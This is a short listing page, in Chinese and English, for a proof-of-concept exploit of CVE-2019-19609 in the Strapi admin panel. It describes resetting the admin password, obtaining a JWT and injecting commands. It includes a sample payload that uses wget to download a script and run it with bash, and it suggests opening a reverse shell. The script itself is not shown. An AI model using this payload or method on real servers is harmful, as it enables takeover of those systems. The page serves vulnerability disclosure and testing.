CVE-2019-19609 PoC — Strapi Admin面板Install and Uninstall Plugin组件输入验证错误漏洞

Description

Strapi Framework, 3.0.0-beta.17.4

介绍

The script will try to reset the password to the one declared in the "updated_pass" variable, if it succeeds - it will give a JWT token from Strapi and use it to execute commands.
Executing bind commands won't work unless sending a reverse shell payload, with bash or python or whatever. You can generate a .sh file that will download nc for you and execute it, or anything really. Even elf. In order to do that, change the payload_exp from && to the ). For example, && $(wget xxxx -O /tmp/oooo; bash /tmp/ooo)
URL no longer active

文件快照

备注